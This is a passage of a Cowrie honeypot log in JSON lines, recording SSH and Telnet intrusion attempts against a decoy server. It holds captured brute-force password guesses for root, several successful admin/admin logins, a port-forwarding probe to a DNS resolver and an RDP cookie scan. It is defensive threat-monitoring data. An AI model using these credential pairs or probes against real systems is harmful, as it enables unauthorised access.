16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:06.423497Z","src_ip":"176.32.39.21","session":"263522bfce3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sojdlg123aljg","message":"login attempt [root/sojdlg123aljg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:06.793288Z","src_ip":"176.32.39.21","session":"263522bfce3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:07.924448Z","src_ip":"176.32.39.21","session":"263522bfce3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.649154901504517,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:25.097063Z","src_ip":"152.42.224.71","session":"94f1f1eaaa7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":55380,"dst_ip":"10.17.0.5","dst_port":22,"session":"2411971a6d98","protocol":"ssh","message":"New connection: 103.27.238.114:55380 (10.17.0.5:22) [session: 2411971a6d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:44.448602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:44.453727Z","src_ip":"103.27.238.114","session":"2411971a6d98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:44.734418Z","src_ip":"103.27.238.114","session":"2411971a6d98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qw123456","message":"login attempt [root/qw123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:45.577825Z","src_ip":"103.27.238.114","session":"2411971a6d98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:46.861439Z","src_ip":"103.27.238.114","session":"2411971a6d98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":39648,"dst_ip":"159.203.135.109","dst_port":22,"session":"a185a5f6cca2","protocol":"ssh","message":"New connection: 185.236.22.41:39648 (159.203.135.109:22) [session: a185a5f6cca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:49.141212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:49.146257Z","src_ip":"185.236.22.41","session":"a185a5f6cca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:49.269374Z","src_ip":"185.236.22.41","session":"a185a5f6cca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"790709","message":"login attempt [root/790709] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:49.827602Z","src_ip":"185.236.22.41","session":"a185a5f6cca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:51.021586Z","src_ip":"185.236.22.41","session":"a185a5f6cca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":51132,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bc9d3930775","protocol":"ssh","message":"New connection: 87.251.64.176:51132 (10.17.0.5:22) [session: 0bc9d3930775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:58.394978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:58.399309Z","src_ip":"87.251.64.176","session":"0bc9d3930775","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:58.495654Z","src_ip":"87.251.64.176","session":"0bc9d3930775","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:58.787208Z","src_ip":"87.251.64.176","session":"0bc9d3930775","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:58.886711Z","session":"0bc9d3930775","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:58.985056Z","src_ip":"87.251.64.176","session":"0bc9d3930775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:30:59.085882Z","src_ip":"87.251.64.176","session":"0bc9d3930775","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":42924,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2ed528c9074","protocol":"ssh","message":"New connection: 193.37.70.224:42924 (10.17.0.5:22) [session: c2ed528c9074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:12.251437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:12.257327Z","src_ip":"193.37.70.224","session":"c2ed528c9074","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:12.761545Z","src_ip":"193.37.70.224","session":"c2ed528c9074","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prosto","message":"login attempt [root/prosto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:13.042731Z","src_ip":"193.37.70.224","session":"c2ed528c9074","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":52796,"dst_ip":"159.203.135.109","dst_port":22,"session":"b223f1bb758c","protocol":"ssh","message":"New connection: 147.45.199.80:52796 (159.203.135.109:22) [session: b223f1bb758c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:13.655470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:13.661287Z","src_ip":"147.45.199.80","session":"b223f1bb758c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:13.828712Z","src_ip":"147.45.199.80","session":"b223f1bb758c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:14.139312Z","src_ip":"193.37.70.224","session":"c2ed528c9074","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:14.313520Z","src_ip":"147.45.199.80","session":"b223f1bb758c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:15.904093Z","src_ip":"147.45.199.80","session":"b223f1bb758c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57698,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d9491ac6d3a","protocol":"telnet","message":"New connection: 152.42.224.71:57698 (10.17.0.5:23) [session: 4d9491ac6d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:26.851847Z"}
{"eventid":"cowrie.session.closed","duration":117.36177468299866,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:33.282221Z","src_ip":"152.42.224.71","session":"cab3b80a5144","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":65251,"dst_ip":"10.17.0.5","dst_port":22,"session":"7295ad4dd3f8","protocol":"ssh","message":"New connection: 167.172.81.52:65251 (10.17.0.5:22) [session: 7295ad4dd3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:36.749381Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:36.755528Z","src_ip":"167.172.81.52","session":"7295ad4dd3f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:36.759691Z","src_ip":"167.172.81.52","session":"7295ad4dd3f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.62.94.189","src_port":54142,"dst_ip":"159.203.135.109","dst_port":22,"session":"583a837704aa","protocol":"ssh","message":"New connection: 36.62.94.189:54142 (159.203.135.109:22) [session: 583a837704aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:36.835191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:36.844621Z","src_ip":"36.62.94.189","session":"583a837704aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:37.059702Z","src_ip":"36.62.94.189","session":"583a837704aa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:37.716793Z","src_ip":"36.62.94.189","session":"583a837704aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:37.941355Z","src_ip":"36.62.94.189","session":"583a837704aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":64190,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd7dc1a8de73","protocol":"ssh","message":"New connection: 130.12.180.51:64190 (159.203.135.109:22) [session: fd7dc1a8de73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:38.040111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:38.048983Z","src_ip":"130.12.180.51","session":"fd7dc1a8de73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:38.131932Z","src_ip":"130.12.180.51","session":"fd7dc1a8de73","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:38.379724Z","src_ip":"130.12.180.51","session":"fd7dc1a8de73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:31:38.912508Z","src_ip":"130.12.180.51","session":"fd7dc1a8de73","protocol":"ssh"}
